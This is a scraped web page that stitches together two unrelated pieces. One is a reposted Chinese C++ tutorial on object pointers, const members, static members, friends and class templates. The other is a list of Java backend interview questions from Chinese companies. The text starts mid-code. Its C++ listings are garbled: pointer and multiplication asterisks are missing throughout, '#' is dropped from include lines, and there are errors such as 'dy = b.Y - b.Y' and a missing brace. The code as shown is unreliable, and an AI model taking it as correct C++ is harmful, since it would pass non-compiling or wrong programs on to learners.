0;}//每个数组元素是一个对象 五、对象指针 指针的含义是内存单元的地址,可以指向一般的变量,也可以指向对象。 1.指向对象的指针 对象要占据一片连续的内存空间,CPU实际都是按地址访问内存,所以对象在内存的其实地址是CPU确定对象在内存中位置的依据。这个起始地址称为对象指针。 C++的对象也可以参加取地址运算:&对象名。运算的结果是该对象的起始地址,也称对象的指针,要用与对象类型相同的指针变量保存运算的结果。 C++中定义对象的指针变量与定义其他的指针变量相似,格式如下:类名 变量名表。类名表示对象所属的类,变量名按标识符规则取名,两个变量名之间用逗号分隔。定义好指针变量后,必须先给赋予合法的地址后才能使用。 例如定义如下一个类: class Time {public:Time() {hour = 0;minute = 0;sec = 0;}void set_time();void show_time();private:int hour;int minute;int sec;};void Time::set_time() {cin >> hour;cin >> minute;cin >> sec;}void Time::show_time() {cout << hour << ":" << minute << ":" << sec << endl;} 在此基础上,有如下语句: Time pt; //定义pt是指向Time类对象的指针Time t1; //定义Time类对象t1pt=&t1; //将对象t1的地址赋予pt 程序在此基础上就可以用指针变量访问对象的成员。 (pt).hour;pt->hour;(pt).show_time();pt->show_time(); 2.指向对象成员的指针 (1)含义 对象由成员组成。对象占据的内存区是各个数据成员占据的内存区的总和。对象成员也有地址,即指针。这指针分指向数据成员的指针和指向成员函数的指针。 (2)指向对象公有数据成员的指针 定义数据成员的指针变量:数据类型 指针变量名(这里的数据类型是数据成员的数据类型) 计算公有数据成员的地址:&对象名.成员名 Time t1;int p1; //定义一个指向整型数据的指针变量p1=&t1.hour; //假定hour是公有成员cout<<p1<<endl; (3)指向对象成员函数的指针 定义指向成员函数的指针变量:数据类型(类名::变量名)(形参表); 数据类型是成员函数的类型;类名是对象所属的类;变量名按标识符取名;形参表:指定成员函数的形参表(形参个数、类型) 取成员函数的地址:&类名::成员函数名 给指针变量赋初值:指针变量名=&类名::成员函数名; 用指针变量调用成员函数:(对象名.指针变量名)([实参表]); 对象名:指定调用成员函数的对象;:明确其后的是一个指针变量;实参表:与成员函数的形参表对应,如无形参,可以省略实参表 (4)【例3.7】有关对象指针的使用方法 include <iostream>using namespace std;class Time {public:Time(int, int, int);int hour;int minute;int sec;void get_time();};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void Time::get_time() {cout << hour << ":" << minute << ":" << sec << endl;}int main() {Time t1(10, 13, 56);int p1 = &t1.hour; //定义指向数据成员的指针p1cout << p1 << endl;t1.get_time(); //调用成员函数Time p2 = &t1; //定义指向对象t1的指针p2p2->get_time(); //用对象指针调用成员函数void(Time::p3)(); //定义指向成员函数的指针p3 = &Time::get_time; //给成员函数的指针赋初值(t1.p3)(); //用指向成员函数的指针调用成员函数return 0;} 【注】代码的34,35行可合并为:void(Time::p3)=&Time::get_time; 3.this指针 一个类的成员函数只有一个内存拷贝。类中不论哪个对象调用某个成员函数,调用的都是内存中同一个成员函数代码。例如Time类一个成员函数: void Time::get_time(){cout<<hour<<":"<<minute<<":"<<sec<<endl;}t1.get_time();t2.get_time(); 当不同对象的成员函数访问数据成员时,怎么保证访问的就是指定对象的数据成员?其实每个成员函数中都包含一个特殊的指针,他的名字是this指针。它是指向本类对象的指针。当对象调用成员函数时,它的值就是该对象的起始地址。所以为了区分不同对象访问成员函数,语法要求的调用成员函数的格式是:对象名.成员函数名(实参表)。从语法上明确是对象名所指的对象调用成员函数。This指针是隐式使用的,在调用成员函数时C++把对象的地址作为实参传递给this指针。例如成员函数定义如下: int Box::volume(){return(heightwidthlength);} C++编译成: int Box::volume(this){return(this->heightthis->widththis->length);} 对于计算长方体体积的成员函数volume,当对象调用它时,就把对象地址给this指针,编译程序将的地址作为实参调用成员函数:a.volume(&a);。实际上函数是计算(this->height)(this->width)(this->length),这时就等价计算(a.height)(a.width)(a.length)。 可以用(this)表示调用成员函数的对象。(this)就是this所指的对象。如前面的计算长方体体积的函数中return语句可以写成:return((this).height(this).width(this).length);注意,this两侧的括号不能省略。 C++通过编译程序,在对象调用成员函数时,把对象的地址赋予this指针,用this指针指向对象,实现了用同一个成员函数访问不同对象的数据成员。 六、共用数据的保护 如果既希望数据在一定范围内共享,又不愿它被随意修改,从技术上可以把数据指定为只读型的。C++提供const手段,将数据、对象、成员函数指定为常量,从而实现了只读要求,达到保护数据的目的。 1.常对象 定义格式: const 类名 对象名(实参表);或 类名 const 对象名(实参表); 把对象定义为常对象,对象中的数据成员就是常变量,在定义时必须带实参作为数据成员的初值,在程序中不允许修改常对象的数据成员值。 如果一个常对象的成员函数未被定义为常成员函数(除构造函数和析构函数外),则对象不能调用这样的函数。 const Time t1(10,16,36);t1.get_time();//错误,不能调用 为了访问常对象中的数据成员,要定义常成员函数。 void get_time() const 如果在常对象中要修改某个数据成员,C++提供了指定可变的数据成员方法。 格式:mutable 类型 数据成员 在定义数据成员时加mutable后,将数据成员声明为可变的数据成员,就可以用声明为const的成员函数修改它的值。 2.常对象成员 可以在声明普通对象时将数据成员或成员函数声明为常数据成员或常成员函数。 (1)常数据成员 格式: const 类型 数据成员名 将类中的数据成员定义为具有只读的性质。注意只能通过带参数初始表的构造函数对常数据成员进行初始化。例如: const int hour;Time::Time(int h){hour=h;...//错误}Time::Time(int h):hour(h){}//正确 在类中声明了某个常数据成员后,该类中每个对象的这个数据成员的值都是只读的,而每个对象的这个数据成员的值可以不同,由定义对象时给出。 (2)常成员函数 定义格式:类型 函数名 (形参表)const const是函数类型的一部分,在声明函数原型和定义函数时都要用const关键字。 【注1】const是函数类型的一个组成部分,因此在函数的实现部分也要使用关键字const。常成员函数不能修改对象的数据成员,也不能调用该类中没有由关键字const修饰的成员函数,从而保证了在常成员函数中不会修改数据成员的值。如果一个对象被说明为常对象,则通过该对象只能调用它的常成员函数。 【注2】一般成员函数可以访问或修改本类中非const数据成员。而常成员函数只能读本类中的数据成员,而不能写他们。 数据成员 非const成员函数 const成员函数 非const的数据成员 可以引用,也可以改变值 可以引用,但不可以改变值 const数据成员 可以引用,但不可以改变值 可以引用,但不可以改变值 const对象的数据成员 不允许引用和改变值 可以引用,但不可以改变值 常成员函数的使用: 如果类中有部分数据成员的值要求为只读,可以将它们声明为const,这样成员函数只能读这些数据成员的值,但不能修改它们的值 如果所有数据成员的值为只读,可将对象声明为const,在类中必须声明const成员函数,常对象只能通过常成员函数读数据成员 常对象不能调用非const成员函数 【注】如果常对象的成员函数未加const,编译系统将其当作非const成员函数;常成员函数不能调用非const成员函数 3.指向对象的常指针 如果在定义指向对象的指针时,使用了关键字const,他就是一个常指针,必须在定义时对其初始化,并且在程序运行中不能再修改指针的值。 格式:const 指针变量名=对象地址 Time t1(10,12,15),t2;Time const p1=&t1;//在此后,不能修改p1Time const p1=&t2;//错误语句 指向对象的常指针,在程序运行中始终指向的是同一个对象。即指针变量的值始终不变,但它所指对象的数据成员值可以修改。当需要将一个指针变量固定地与一个对象相联系时,就可将指针变量指定为const。往往用常指针作为函数的形参,目的是不允许在函数中修改指针变量的值,让它始终指向原来的对象。 4.指向常对象的指针变量 5.对象的常引用 (1)含义 前面学过引用是传递参数的有效方法。用引用形参时,形参变量与实参变量是同一个变量,在函数内修改引用形参也就是修改实参变量。如果用引用形参又不想让函数修改实参,可以使用常引用机制。 (2)格式 const 类名 &形参变量名 (3)【例3.8】对象的引用 include <iostream>using namespace std;class Time {public:Time(int, int, int);int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void fun(Time &t) {t.hour = 18;}int main() {Time t1(10, 13, 56);fun(t1);cout << t1.hour << endl;return 0;} //如果用引用形参又不想让函数修改实参,可以使用常引用机制include <iostream>using namespace std;class Time {public:Time(int, int, int);void fun(int &t) {hour = t;t = 18;}int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}int main(int argc, char argc[]) {int x = 15;Time t1(10, 13, 56);t1.fun(x);cout << t1.hour << endl;cout << x << endl;return 0;} 6.const型数据小结 七、对象的动态建立与释放——动态建立对象 C++提供了new和delete运算符,实现动态分配、回收内存。他们也可以用来动态建立对象和释放对象。 格式:new 类名; 功能:在堆里分配内存,建立指定类的一个对象。如果分配成功,将返回动态对象的起始地址(指针);如不成功,返回0.为了保存这个指针,必须事先建立以类名为类型的指针变量。 格式:类名 指针变量名 Box pt;pt=new Box;//如果分配成功,就可以用指针变量pt访问动态对象的数据成员cout<<pt->height;cout<<pt->volume(); 当不再需要使用动态变量时,必须用delete运算符释放内存。 格式:delete 指针变量(存放的是用new运算返回的指针) 八、对象的赋值和复制 1.对象的赋值 (1)含义 如果一个类定义了两个或多个对象,则这些同类对象之间可以相互赋值。这里所指的对象的值含义是对象中所有数据成员的值。对象1、对象2都是已建立好的同类对象。 格式:对象1=对象2; (2)【例3.9】对象的赋值 include <iostream>using namespace std;class Box {public:Box(int = 10, int = 10, int = 10);int volume();private:int height;int width;int length;};Box::Box(int h, int w, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1(15, 30, 25), box2;cout << "box1 体积=" << box1.volume() << endl;box2 = box1;cout << "box2 体积=" << box2.volume() << endl;return 0;} (3)说明 对象的赋值只对数据成员操作 数据成员中不能含有动态分配的数据成员 2.对象的复制 (1)含义 对象赋值的前提是对象1和对象2是已经建立的对象。C++还可以按照一个对象克隆出另一个对象(从无到有),这就是复制对象。复制对象是创建对象的另一种方法(以前学过的是定义对象)。创建对象必须调用构造函数,复制对象要调用复制构造函数。以Box类为例,复制构造函数的形式是: Box::Box(const Box &b){height=b.height;width=b.width;length=b.length;} 复制构造函数只有一个参数,这个参数是本类的对象,且采用引用对象形式。为了防止修改数据,加const限制。构造函数的内容就是将实参对象的数据成员值赋予新对象对应的数据成员,如果程序中未定义复制构造函数,编译系统将提供默认的复制构造函数,复制类中的数据成员。 复制对象有两种格式: 类名 对象2(对象1);按对象1复制对象2 类名 对象2=对象1,对象3=对象1,……按对象1复制对象2、对象3 (2)【例】用复制对象的方法创建Box类的对象(用默认复制构造函数) //include "stdafx.h"include <iostream>using namespace std;class Box {public:Box(int = 10, int = 10, int = 10);int volume();private:int height;int width;int length;};Box::Box(int h, int w, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1(15, 30, 25);cout << "box1 体积=" << box1.volume() << endl;//Box box2=box1,box3=box2;Box box2(box1), box3(box2);cout << "box2 体积=" << box2.volume() << endl;cout << "box3 体积=" << box3.volume() << endl;return 0;} (3)说明 在以下情况调用复制构造函数: 在程序里用复制对象格式创建对象 当函数的参数是对象。调用函数时,需要将实参对象复制给形参对象,在此系统将调用复制构造函数 void fun(Box b){...}int main(){Box box1(12,15,18);fun(box1);return 0;} 在函数返回值是类的对象时,需要将函数里的对象复制一个临时对象当作函数值返回 Box f(){Box box1(12,15,18);return box1;}int main(){Box box2;box2=f();} 九、静态成员 C++用const保护数据对象不被修改,在实际中还需要共享数据,C++怎样提供数据共享机制?C++静态成员、友元实现对象之间、类之间的数据共享。 1.静态数据成员 (1)定义格式 static 类型 数据成员名 class Box{public:Box(int=10,int=10,int=10);int volume();private:static int height;int width;int length;}; (2)特性 设Box有n个对象box1..boxn。这n个对象的height成员在内存中共享一个整型数据空间。如果某个对象修改了height成员的值,其他n-1个对象的height成员值也被改变,从而达到n个对象共享height成员值的目的。 (3)说明 由于一个类的所有对象共享静态数据成员,所以不能用构造函数为静态数据成员初始化,只能在类外专门对其初始化。如果程序未对静态数据成员赋初值,则编译系统自动用0为它赋初值 格式:数据类型 类名::静态数据成员名=初值; 即可已用对象名引用静态成员,也可以用类名引用静态成员 静态数据成员在对象外单独开辟内存空间,只要在类中定义了静态成员,即使不定义对象,系统也为静态成员分配内存空间,可以被引用 在程序开始时为静态成员分配内存空间,直到程序结束才释放内存空间 静态数据成员作用域是它的类的作用域(如果在一个函数内定义类,他的静态数据成员作用域就是这个函数)在此范围内可以用“类名::静态成员名”的形式访问静态数据成员 (4)【例3.10】引用静态数据成员 include <iostream>using namespace std;class Box {public:Box(int, int);int volume();static int height;int width;int length;};Box::Box(int w, int len) {width = w;length = len;}int Box::volume() {return (height width length);}int Box::height = 10;int main() {Box a(15, 20), b(25, 30);cout << a.height << endl;cout << b.height << endl;cout << Box::height << endl;cout << a.volume() << endl;cout << b.volume() << endl;return 0;} 2.静态成员函数 (1)含义 C++提供静态成员函数,用它访问静态数据成员,静态成员函数不属于某个对象而属于类。 类中的非静态成员函数可以访问类中所有数据成员;而静态成员函数可以直接访问类的静态成员,不能直接访问非静态成员。 静态成员函数定义格式: static 类型 成员函数(形参表){……} 调用公有静态成员函数格式: 类名::成员函数(实参表) 引用方式 静态数据成员 非静态数据成员 静态成员函数 成员名 对象名.成员名 非静态成员函数 成员名 成员名 【注】静态成员函数不带this指针,所以必须用对象名和成员运算符.访问非静态成员;而普通成员函数有this指针,可以在函数中直接引用成员名。 (2)【例3.11】关于引用非静态成员和静态成员的具体方法 class Student {private:int num;int age;float score;static float sum;static int count;public:Student(int, int, int);void total();static float average();};Student::Student(int m, int a, int s) {num = m;age = a;score = s;}void Student::total() {sum += score;count++;}float Student::average() {return (sum / count);}float Student::sum = 0;int Student::count = 0;int main() {Student stud[3] = {Student(1001, 18, 70), Student(1002, 19, 79), Student(1005, 20, 98)};int n;cout << "请输入学生的人数:";cin >> n;for (int i = 1; i < n; i++)stud[i].total();cout << n << "个学生的平均成绩是:"cout << Student::average() << endl;return 0;} (3)【例】具有静态数据成员的point类 include <iostream>using namespace std;class Point {private:int X, Y;static int countP;public:Point(int xx = 0, int yy = 0) {X = xx;Y = yy;countP++;}Point(Point &p); //复制构造函数int GetX() {return X;}int GetY() {return Y;}int GetC() {cout << "Object id=" << countP << endl;return 0;} };Point::Point(Point &p) {X = p.X;Y = p.Y;countP++;}int Point::countP = 0;int main() {Point A(4, 5);cout << "Point A," << A.GetC() << "," << A.GetY();A.GetC();Point B(A);cout << "Point B," << B.GetC() << "," << B.GetY();B.GetC();return 0;} (4)静态成员函数举例 include <iostream>using namespace std;class application {private:static int global;public:static void f();static void g();};int application::global = 0;void application::f() {global = 5;}void application::g() {cout << global << endl;}int main() {application::f();application::g();return 0;} class A{private:int x; //非静态成员public:static void f(A a);};void A::f(A a){cout<<x; //对x的引用是错误的cout<<a.x; //正确} (5)具有静态数据、函数成员的Point类 include <iostream>using namespace std;class Point { //point类声明private: //私有数据成员int X, Y;static int countP;public: //外部接口Point(int xx = 0, int yy = 0) {X = xx;Y = yy;countP++;}Point(Point &p); //复制构造函数int GetX() {return X;}int GetY() {return Y;}static int GetC() {cout << "Object id=" << countP << endl;return 0;} };Point::Point(Point &p) {X = p.X;Y = p.Y;countP++;}int Point::countP = 0;int main() //主函数实现{ Point A(4, 5); //声明对象Acout << "Point A," << A.GetC() << "," << A.GetY();A.GetC(); //输出对象号,对象名引用Point B(A); //声明对象Bcout << "Point B," << B.GetC() << "," << B.GetY();Point::GetC(); //输出对象号,类名引用return 0;} (6)静态成员函数、静态数组及其初始化 include <iostream>include <stdio.h>using namespace std;class A {static int a[20];int x;public:A(int xx = 0) {x = xx;}static void in();static void out();void show() {cout << "x=" << x << endl;} };int A::a[20] = {0, 0};void A::in() {cout << "input a[20]:" << endl;for (int i = 0; i < 20; ++i)cin >> a[i];}void A::out() {for (int i = 0; i < 20; ++i)cout << "a[" << i << "]=" << a[i] << endl;}int main() {A::in();A::out();A a;a.out();a.show();return 0;} 十、友元 除了在同类对象之间共享数据外,类和类之间也可以共享数据。类的私有成员只能被类的成员函数访问,但是有时需要在类的外部访问类的私有成员,C++通过友元的手段实现这一特殊要求。友元可以是不属于任何类的一般函数,也可以是另一个类的成员函数,还可以是整个的一个类(这个类中的所有成员函数都可以成为友元函数)。 友元是C++提供的一种破坏数据封装和数据隐藏的机制。为了保证数据的完整性及数据封装与隐藏的原则,建议尽量不使用或少使用友元。 1.友元函数 (1)含义 如果在A类外定义一个函数(它可以是另一个类的成员函数,也可以是一个普通函数),在A类中声明该函数是A的友元函数后,这个函数就能访问A类中的所有成员。 (2)格式 friend 类型 类1::成员函数x(类2 &对象); friend 类型 函数y(类2 &对象); //类1是另一个类的类名,类2是本类的类名 功能:第一种形式在类2中声明类1的成员函数x为友元函数。第二种形式在类2中声明一个普通函数y是友元函数。 友元函数内访问对象的格式: 对象名.成员名 因为友元不是成员函数,它不属于类,所以它访问对象时必须冠以对象名。定义友元函数时形参通过定义引用对象,这样在友元函数内就能访问实参对象了。 (3)【例3.12】将普通函数声明为友元函数 include <iostream>using namespace std;class Time {public:Time(int, int, int);friend void display(Time &);private:int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void display(Time &t) {cout << t.hour << ":" << t.minute << ":" << t.sec << endl;}int main() {Time t1(10, 13, 56);display(t1);return 0;} 【例】使用友元函数计算两点距离 include <iostream>include <cmath>using namespace std;class Point {public:Point(int xx = 0, int yy = 0) {X = xx;Y = yy;}int GetX() {return X;}int GetY() {return Y;}friend double Distance(Point &a, Point &b);private:int X, Y;};double Distance(Point &a, Point &b) {double dx = a.X - b.X;double dy = b.Y - b.Y;return sqrt(dx dx + dy dy);}int main() {Point p1(3.0, 5.0), p2(4.0, 6.0);double d = Distance(p1, p2);cout << "The distance is " << d << endl;return 0;} include <iostream>include <math.h>using namespace std;class TPoint {private:double x, y;public:TPoint(double a, double b) {x = a;y = b;cout << "点:(" << x << "," << y << ")" << endl;}friend double distance(TPoint &a, TPoint &b) {return sqrt((a.x - b.x) (a.x - b.x) + (a.y - b.y) (a.y - b.y));} };int main(int argc, char argv[]) {TPoint myp1(2.1, 1.3), myp2(5.4, 6.5);cout << "两点之间的距离为:";cout << distance(myp1, myp2) << endl;return 0;} (4)友元成员函数 【例3.13】将成员函数声明为友元函数 例子中有两个类Time和Date。其中Time类里定义了成员函数void display(Date &),他除了显示时间外还要显示日期,这个日期通过引用形参访问。在Date类中将Time类的display成员函数定义为友元函数,允许display访问Date类的所有私有数据成员。 include <iostream>using namespace std;class Date;class Time {private:int hour;int minute;int sec;public:Time(int, int, int);void display(const Date &);};class Date {private:int month;int day;int year;public:Date(int, int, int);friend void Time::display(const Date &);};Time::Time(int h, int m, int s) hour = h;minute = m;sec = s;}void Time::display(const Date &da) {cout << da.month << "/" << da.day << "/" << da.year << endl;cout << hour << ":" << minute << ":" << sec << endl;}Date::Date(int m, int d, int y) {month = m;day = d;year = y;}int main() {Time t1(10, 13, 56);Date d1(12, 25, 2004);t1.display(d1);return 0;} 【注1】友元是单向的,此例中声明Time的成员函数display是Date类的友元,允许它访问Date类的所有成员,但不等于说Date类的成员函数也是Time类的友元。 【注2】一个函数(包括普通函数和成员函数)可以被多个类声明为“朋友”,这样就可以引用多个类中的私有数据 【注3】例如可以将例3.13程序中的display函数作为类外的普通函数,分别在Time和Date类中将display声明为友元。Display就可以分别引用Time和Date类的对象的私有数据成员。输出年月日和时分秒。 2.友元类 C++允许将一个类声明为另一个类的友元。假定A类是B类的友元类,A类中所有的成员函数都是B类的友元函数,在B类中声明A类为友元类的格式:friend A; 【注1】友元关系是单向的,不是双向的 【注2】友元关系不能传递 【注3】实际中一般不把整个类声明友元类,而只是将确有需要的成员函数声明为友元函数 include <iostream>include <math.h>using namespace std;class B;class A {private:int x;public:A() {x = 3;}friend class B;};class B {public:void disp1(A temp) {temp.x++;cout << "disp1:x" << temp.x << endl;}void disp2(A temp) {temp.x--;cout << "disp2:x" << temp.x << endl;} };int main(int argc, char argv[]) {A a;B b;b.disp1(a);b.disp2(a);return 0;} class Student; //前向声明,类名声明class Teacher{privated:int noOfStudents;Student pList[100];public:void assignGrades(Student &s); //赋成绩void adjustHours(Student &s); //调整学时数};class Student{privated:int hours;float gpa;public:friend class Teacher;};void Teacher::assignGrades(Student &s){...};void Teacher::adjustHours(Student &s){...}; //函数定义必须在Student定义之后 十一、类模板 1.含义 对于功能相同而只是数据类型不同的函数,不必须定义出所有函数,我们定义一个可对任何类型变量操作的函数模板。对于功能相同的类而数据类型不同,不必定义出所有类,只要定义一个可对任何类进行操作的类模板。 例如定义比较两个整数的类和比较两个浮点数的类,这两个类做的工作是相似的,所以可以用类模板,减少工作量。 class Compare_int{private:int x,y;public:Compare_int(int a,int b){x=a;y=b;}int max(){return (x>y)?x:y;}int min(){return (x<y)?x:y;} };class Compare_float{private:float x,y;public:Compare_float(float a,float b){x=a;y=b;}float max(){return (x>y)?x:y;}float min(){return (x<y)?x:y;} }; 2.定义类模板的格式 template <class 类型参数名> class 类模板名 {……} 类型参数名:按标识符取名。如有多个类型参数,每个类型参数都要以class为前导,两个类型参数之间用逗号分隔 类模板名:按标识符取名 类模板{...}内定义数据成员和成员函数的规则:用类型参数作为数据类型,用类模板名作为类 template<class numtype>class Compare{private:numtype x,y;public:Compare(numtype a,numtype b){x=a,y=b;}numtype max(){return (x>y)?x:y;}numtype min(){return (x<y)?x:y;} }; 3.在类模板外定义成员函数的语法 类型参数 类模板名<类型参数>::成员函数名(形参表){……} 例如在类模板外定义max和min成员函数 template<class numtype>class Compare{public:Compare(numtype a,numtype b){x=a,y=b;}numtype max();numtype min();private:numtype x,y;};numtype Compare<numtype>::max(){return(x>y)?x:y;}numtype Compare<numtype>::min(){return(x<y)?x:y;} 4.使用类模板时,定义对象的格式 类模板名 <实际类型名>对象名; 类模板名 <实际类型名>对象名(实参表); 例如:Compare <int>cmp2(4,7) 在编译时, 编译系统用int取代类模板中的类型参数numtype,就把类模板具体化了。这时Compare<int>将相当于Compare_int类。 5.【例3.14】声明类模板,实现两个整数、浮点数和字符的比较,求出大数和小数 include <iostream>using namespace std;template<class numtype>class Compare {private:numtype x, y;public:Compare(numtype a, numtype b) {x = a;y = b;}numtype max() {return (x > y) ? x : y;}numtype min() {return (x < y) ? x : y;} };int main() {Compare<int>cmp1(3, 7);cout << cmp1.max() << "是两个整数中的大数." << endl;cout << cmp1.min() << "是两个整数中的小数." << endl;Compare<float>cmp2(45.78, 93.6);cout << cmp2.max() << "是两个浮点数中的大数." << endl;cout << cmp2.min() << "是两个浮点数中的小数." << endl;Compare<char>cmp3('a', 'A');cout << cmp3.max() << "是两个字符中的大者." << endl;cout << cmp3.min() << "是两个字符中的小者." << endl;return 0;} 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_72318954/article/details/127064376。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-29 12:38:23
545
转载
转载文章
...、索引底层实现、mysql相关的行锁、表锁等 redis相关:架构设计、数据一致性问题 容器:容器的设计原理等技术 二面题目: 参与的项目,选一个,技术难度在哪里? Collections.sort底层排序方式 负载均衡的原理设计模式与重构,谈谈你对重构的理解 谈谈redis相关的集群有哪些成熟方案? 再谈谈一致hash算法(redis)? 数据库索引,B+树的特性和建树过程 Mysql相关的行锁,表锁;乐观锁,悲观锁 谈谈多线程和并发工具的使用 谈谈redis的架构和组件 Redis的数据一致性问题(分布式多节点环境&单机环境) Docker容器 1.3 Java中间件三面 技术三面考察范围: 主要谈到了高并发的实现方案 以及中间件:redis、rocketmq、kafka等的架构设计思路 最后问了平时怎么提升技术的技术 三面题目 高并发情况下,系统是如何支撑大量的请求的? 接着上面的问题,延伸到了中间件,kafka、redis、rocketmq、mycat等设计思路和适用场景等 最近上过哪些技术网站;最近再看那些书。 工作和生活中遇见最大的挑战,怎么去克服? 未来有怎样的打算 1.4 Java中间件四面 最后,你懂的,主要就是HR走流程了,主要问了未来的职业规划。 02 头条Java后台3面 2.1 头条一面 讲讲jvm运行时数据库区 讲讲你知道的垃圾回收算法 jvm内存模型jmm 内存泄漏与内存溢出的区别 select、epool 的区别?底层的数据结构是什么? mysql数据库默认存储引擎,有什么优点 优化数据库的方法,从sql到缓存到cpu到操作系统,知道多少说多少 什么情景下做分表,什么情景下做分库 linkedList与arrayList区别 适用场景 array list是如何扩容的 volatile 关键字的作用?Java 内存模型? java lock的实现,公平锁、非公平锁 悲观锁和乐观锁,应用中的案例,mysql当中怎么实现,java中的实现 2.2 头条二面 Java 内存分配策略? 多个线程同时请求内存,如何分配? Redis 底层用到了哪些数据结构? 使用 Redis 的 set 来做过什么? Redis 使用过程中遇到什么问题? 搭建过 Redis 集群吗? 如何分析“慢查询”日志进行 SQL/索引 优化? MySQL 索引结构解释一下?(B+ 树) MySQL Hash 索引适用情况?举下例子? 2.3 头条三面 如何保证数据库与redis缓存一致的Redis 的并发竞争问题是什么? 如何解决这个问题? 了解 Redis 事务的 CAS 方案吗? 如何保证 Redis 高并发、高可用? Redis 的主从复制原理,以及Redis 的哨兵原理? 如果让你写一个消息队列,该如何进行架构设计啊?说一下你的思路。 MySQL数据库主从同步怎么实现? 秒杀模块怎么设计的,如何压测,抗压手段 03 今日头条Java后台研发三面 3.1 一面 concurrent包下面用过哪些? countdownlatch功能实现 synchronized和lock区别,重入锁thread和runnable的区别 AtomicInteger实现原理(CAS自旋) java并发sleep与wait、notify与notifyAll的区别 如何实现高效的同步链表 java都有哪些加锁方式(synchronized、ReentrantLock、共享锁、读写锁等) 设计模式(工厂模式、单例模式(几种情况)、适配器模式、装饰者模式) maven依赖树,maven的依赖传递,循环依赖 3.2 二面 synchronized和reentrantLock的区别,synchronized用在代码快、方法、静态方法时锁的都是什么? 介绍spring的IOC和AOP,分别如何实现(classloader、动态代理)JVM的内存布局以及垃圾回收原理及过程 讲一下,讲一下CMS垃圾收集器垃圾回收的流程,以及CMS的缺点 redis如何处理分布式服务器并发造成的不一致OSGi的机制spring中bean加载机制,bean生成的具体步骤,ioc注入的方式spring何时创建- applicationContextlistener是监听哪个事件? 介绍ConcurrentHashMap原理,用的是哪种锁,segment有没可能增大? 解释mysql索引、b树,为啥不用平衡二叉树、红黑树 Zookeeper如何同步配置 3.3 三面 Java线程池ThreadPoolEcecutor参数,基本参数,使用场景 MySQL的ACID讲一下,延伸到隔离级别 dubbo的实现原理,说说RPC的要点 GC停顿原因,如何降低停顿? JVM如何调优、参数怎么调? 如何用工具分析jvm状态(visualVM看堆中对象的分配,对象间的引用、是否有内存泄漏,jstack看线程状态、是否死锁等等) 描述一致性hash算法 分布式雪崩场景如何避免? 再谈谈消息队列 04 抖音Java 三面 4.1 一面: hashmap,怎么扩容,怎么处理数据冲突? 怎么高效率的实现数据迁移? Linux的共享内存如何实现,大概说了一下。 socket网络编程,说一下TCP的三次握手和四次挥手同步IO和异步IO的区别? Java GC机制?GC Roots有哪些? 红黑树讲一下,五个特性,插入删除操作,时间复杂度? 快排的时间复杂度,最坏情况呢,最好情况呢,堆排序的时间复杂度呢,建堆的复杂度是多少 4.2 二面: 自我介绍,主要讲讲做了什么和擅长什么 设计模式了解哪些? AtomicInteger怎么实现原子修改的? ConcurrentHashMap 在Java7和Java8中的区别? 为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? redis数据结构? redis数据淘汰机制? 4.3 三面(约五十分钟): mysql实现事务的原理(MVCC) MySQL数据主从同步是如何实现的? MySQL索引的实现,innodb的索引,b+树索引是怎么实现的,为什么用b+树做索引节点,一个节点存了多少数据,怎么规定大小,与磁盘页对应。 如果Redis有1亿个key,使用keys命令是否会影响线上服务? Redis的持久化方式,aod和rdb,具体怎么实现,追加日志和备份文件,底层实现原理的话知道么? 遇到最大困难是什么?怎么克服? 未来的规划是什么? 你想问我什么? 05 百度三面 5.1 百度一面 自我介绍 Java中的多态 为什么要同时重写hashcode和equals Hashmap的原理 Hashmap如何变线程安全,每种方式的优缺点 垃圾回收机制 Jvm的参数你知道的说一下 设计模式了解的说一下啊 手撕一个单例模式 手撕算法:反转单链表 手撕算法:实现类似微博子结构的数据结构,输入一系列父子关系,输出一个类似微博评论的父子结构图 手写java多线程 手写java的soeket编程,服务端和客户端 手撕算法: 爬楼梯,写出状态转移方程 智力题:时针分针什么时候重合 5.2 百度二面(现场) 自我介绍 项目介绍 服务器如何负载均衡,有哪些算法,哪个比较好,一致性哈希原理,怎么避免DDOS攻击请求打到少数机器。 TCP连接中的三次握手和四次挥手,四次挥手的最后一个ack的作用是什么,为什么要time wait,为什么是2msl。 数据库的备份和恢复怎么实现的,主从复制怎么做的,什么时候会出现数据不一致,如何解决。 Linux查看cpu占用率高的进程 手撕算法:给定一个数字三角形,找到从顶部到底部的最小路径和。每一步可以移动到下面一行的相邻数字上。 然后继续在这个问题上扩展 求出最短那条的路径 递归求出所有的路径 设计模式讲一下熟悉的 会不会滥用设计模式 多线程条件变量为什么要在while体里 你遇到什么挫折,怎么应对和处理 5.3 百度三面(现场) 自我介绍 项目介绍 Redis的特点 Redis的持久化怎么做,aof和rdb,有什么区别,有什么优缺点。 Redis使用哨兵部署会有什么问题,我说需要扩容的话还是得集群部署。 说一下JVM内存模型把,有哪些区,分别干什么的 说一下gc算法,分代回收说下 MySQL的引擎讲一下,有什么区别,使用场景呢 分布式事务了解么 反爬虫的机制,有哪些方式 06 蚂蚁中间件团队面试题 6.1 蚂蚁中间件一面: 自我介绍 JVM垃圾回收算法和垃圾回收器有哪些,最新的JDK采用什么算法。 新生代和老年代的回收机制。 讲一下ArrayList和linkedlist的区别,ArrayList与HashMap的扩容方式。 Concurrenthashmap1.8后的改动。 Java中的多线程,以及线程池的增长策略和拒绝策略了解么。 Tomcat的类加载器了解么 Spring的ioc和aop,Springmvc的基本架构,请求流程。 HTTP协议与Tcp有什么区别,http1.0和2.0的区别。 Java的网络编程,讲讲NIO的实现方式,与BIO的区别,以及介绍常用的NIO框架。 索引什么时候会失效变成全表扫描 介绍下分布式的paxos和raft算法 6.2 蚂蚁中间件二面 你在项目中怎么用到并发的。 消息队列的使用场景,谈谈Kafka。 